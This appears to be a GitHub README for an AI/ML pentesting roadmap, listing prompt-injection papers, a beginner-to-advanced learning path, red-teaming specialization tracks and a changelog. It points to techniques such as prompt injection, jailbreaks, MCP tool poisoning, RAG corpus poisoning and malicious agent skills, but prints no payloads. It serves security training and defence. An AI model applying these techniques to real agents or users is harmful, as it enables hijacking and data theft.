CaMeL: Defeating Prompt Injections by Design 2025 Architectural defense ⭐
Attention Tracker: Detecting Prompt Injection via Attention Distribution Shifts 2025 Detection (NAACL)
ToolHijacker: Prompt Injection to Tool Selection in LLM Agents 2025 Tool-selection attacks
WASP: Benchmarking Web Agent Security Against Prompt Injection 2025 Web agent benchmark
A Critical Evaluation of Defenses against Prompt Injection Attacks 2025 Defense evaluation
VPI-Bench: Visual Prompt Injection for Computer-Use Agents 2025 Multimodal / CUA
Prompt Injection 2.0: Hybrid AI Threats (XSS + CSRF + AI worms) 2025 Hybrid web/AI attacks
PromptArmor: Simple yet Effective Prompt Injection Defenses 2025 Detection defense
Your AI, My Shell: Prompt Injection on Agentic Coding Editors 2025 Coding assistants
WAInjectBench: Benchmarking Prompt Injection Detection for Web Agents 2025 Detection benchmark
The Attacker Moves Second: Adaptive Attacks Bypass 12 Published Defenses at >90% 2025 Adaptive attacks ⭐
Securing AI Agents Against Prompt Injection — 847 test cases, 73.2% → 8.7% 2025 Agent defense
CaMeLs Can Use Computers Too: System-level Security for Computer Use Agents 2026 Computer-use defense
Agent Skills in the Wild: Empirical Study of Security Vulnerabilities at Scale 2026 Skill supply chain ⭐
Malicious Agent Skills in the Wild ("Do Not Mention This to the User") 2026 Malicious skill detection
The Landscape of Prompt Injection Threats in LLM Agents (SoK + AgentPI benchmark) 2026 SoK · Unverified ID
Prompt Injection Attacks on Agentic Coding Assistants (SoK, 78 studies) 2026 SoK · Unverified ID
Towards Secure RAG: Threats, Defenses and Benchmarks 2026 RAG survey · Unverified ID
Prompt Injection in LLMs and AI Agent Systems — MDPI 2026 Survey

Suggested Learning Path by Experience Level

🟢 Beginner (0–3 months)

  1. Complete PortSwigger Web Security Academy fundamentals
  2. Learn Python basics
  3. Take Google ML Crash Course
  4. Read the OWASP GenAI LLM Top 10 (2026) — then skim the 2025 list so you recognize the older category names in tooling
  5. Play Gandalf — all 8 levels
  6. Read Simon Willison's prompt injection article
  7. Watch Andrej Karpathy — Intro to LLMs and the tokenizer video
  8. Read Prompt Injection Cheat Sheet — Seclify
  9. Deploy AIGoat locally and work the labs — no API keys or cloud accounts needed

🟡 Intermediate (3–9 months)

  1. Study the MITRE ATLAS Matrix including the 2025–26 agentic techniques, and read the case studies
  2. Complete PortSwigger LLM Attack labs
  3. Set up and exploit Damn Vulnerable LLM Agent
  4. Work OWASP FinBot CTF and Crucible
  5. Read the LLM Hacker's Handbook
  6. Study Embrace the Red blog in full
  7. Experiment with garak, PyRIT and promptfoo — get one running in CI
  8. Try the Offensive ML Playbook
  9. Run DVMCP and reproduce Invariant's tool-poisoning PoCs
  10. Read Palo Alto Unit 42 MCP Attack Vectors and the OWASP MCP Top 10
  11. Build a small RAG app, then poison your own corpus and try to break tenant isolation

🔴 Advanced (9+ months)

  1. Participate in AI Village CTF at DEF CON and Gray Swan arenas
  2. Submit findings to Huntr, OpenAI Safety Bug Bounty or 0DIN — match the finding class to the scope
  3. Study adversarial ML with ART and CleverHans; use NIST AI 100-2e2025 as your vocabulary
  4. Read the 2025–2026 papers: CaMeL, The Attacker Moves Second, the coding-assistant and skill-ecosystem SoKs
  5. Run AgentDojo against your own agent and report ASR with a benign-utility baseline — numbers without a utility baseline are meaningless
  6. Set up a local MCP environment and test tool poisoning, shadowing, rug pulls and cross-server contamination
  7. Contribute to open source tools like garak, mcp-scan or AI Exploits
  8. Build your own vulnerable agentic demo environment with MCP integration
  9. Write and publish research — blog posts, CVEs, conference talks

🎯 Specialization Tracks

Once past intermediate, depth beats breadth. Pick one:

Agent Security Specialist — OWASP ASI Top 10 → AgentDojo and WASP → memory poisoning and A2A → agent identity, short-lived credentials and sandboxing → build and break a multi-agent pipeline.

MCP / Protocol Security — MCP spec (authorization sections) → OWASP MCP Top 10 → DVMCP → Invariant PoCs → OAuth 2.1, audience binding and token passthrough → write a scanner check that catches something mcp-scan misses.

AI Supply Chain — NIST AI 100-2e2025 poisoning taxonomy → pickle/safetensors internals → ModelScan and picklescan → the skill-ecosystem papers → model signing, AIBOM and provenance.

AI Red Teamer — garak/PyRIT/promptfoo fluency → HarmBench and JailbreakBench methodology → multi-turn and adaptive attacks → write reproducible, quantified reports rather than one-off screenshots.

What's New in This Edition

(Changes made in the September 2026 revision, relative to the March 2026 edition.)

Area What Changed
OWASP 2026 standards Added OWASP GenAI LLM Top 10 2026 (published 4 Aug 2026; Hidden Context Exposure replaces System Prompt Leakage, Excessive Agency up to LLM03) alongside the retained 2025 and 2023 versions; added Top 10 for Agentic Applications (ASI01–ASI10), OWASP MCP Top 10, and the Agent Control Standard
New Phase 5 — RAG, Vector & Embedding Security Corpus poisoning, embedding inversion, cross-tenant retrieval, authorization drift, plus a practical 7-point RAG testing checklist. Hands-On, Advanced Exploitation and Bug Bounty renumbered to Phases 6–8
MCP section expanded OWASP MCP Top 10 taxonomy, MCP spec authorization gaps, rug pulls, token passthrough, shadow MCP, STDIO credential inheritance; real CVEs (CVE-2025-6514 mcp-remote, EscapeRoute, Git MCP argument injection) and incidents (Supabase/Cursor, Asana)
New 4.4 — Agent Skills & Plugin Supply Chain SKILL.md poisoning, the ToxicSkills and ClawHavoc findings, Cato CTRL ransomware-via-skill research, HiddenLayer analysis, first agentic-AI CVE, plus two 2026 arXiv empirical studies
New 4.6 — Computer-Use & Browser Agents UW study, Brave disclosures, CSA PleaseFix consolidation of the zero-click class, VPI-Bench, WASP, WAInjectBench, a safe local PoC repo
New 4.7 / 4.9 — Multimodal & Agent Identity Typographic and non-textual jailbreaks, document and calendar-invite channels; confused-deputy testing, audience-bound tokens, per-agent identity
New 3.5 — Defenses Worth Breaking CaMeL, FIDES, PromptArmor, and the two papers showing published defenses fail under adaptive attack
New Benchmarks & Datasets section AgentDojo, InjecAgent, WASP, WAInjectBench, VPI-Bench, HarmBench, JailbreakBench, CyberSecEval, NotInject
Hands-on labs expanded OWASP FinBot CTF, AIGoat, DVMCP, OWASP GenAI Red Team Lab, Invariant injection experiments — all self-hostable, several fully offline
Tools New MCP & Agent Security tool table (mcp-scan, Cisco mcp-scanner, skill-scanner); added promptfoo, DeepTeam, Giskard, LLM Guard, picklescan, TextAttack, Counterfit
Papers Expanded to include a Topic column; ~15 papers added across agents, RAG, skills, multimodal and defenses
Bug bounty Added OpenAI Safety and Bio bounties and 0DIN; flagged that Google AI VRP excludes prompt injection and jailbreaks; added scope-verification warning
Link fixes leondz/garak → NVIDIA/garak; facebookresearch/PurpleLlama → meta-llama/PurpleLlama; the placeholder https://owasp.org/ MCP cheat-sheet link now points to the real OWASP MCP Top 10 project; the GenAI Red Teaming Guide no longer points at the LLM Top 10 project page; Andrew Ng course now lists its current successor alongside the original
Provenance labels Added Foundational / Historical / Legacy / Archived / Unverified markers so older entries are contextualized rather than deleted

Last updated: September 2026 | Contributions welcome — submit a PR with new resources.

Entries marked Unverified are community submissions that maintainers have not independently validated. If you can confirm or refute one, please open an issue.

About

AI/ML Pentesting Roadmap for Beginners

anmolksachan.github.io/LLMPenTestHub/ai-ml-roadmap-for-pentester.html

Topics

aillmmlpentestresourceroadmap

Resources

Readme
Activity

Stars

787 stars

Watchers

4 watching

Forks

135 forks
Report repository

Releases

Packages

Contributors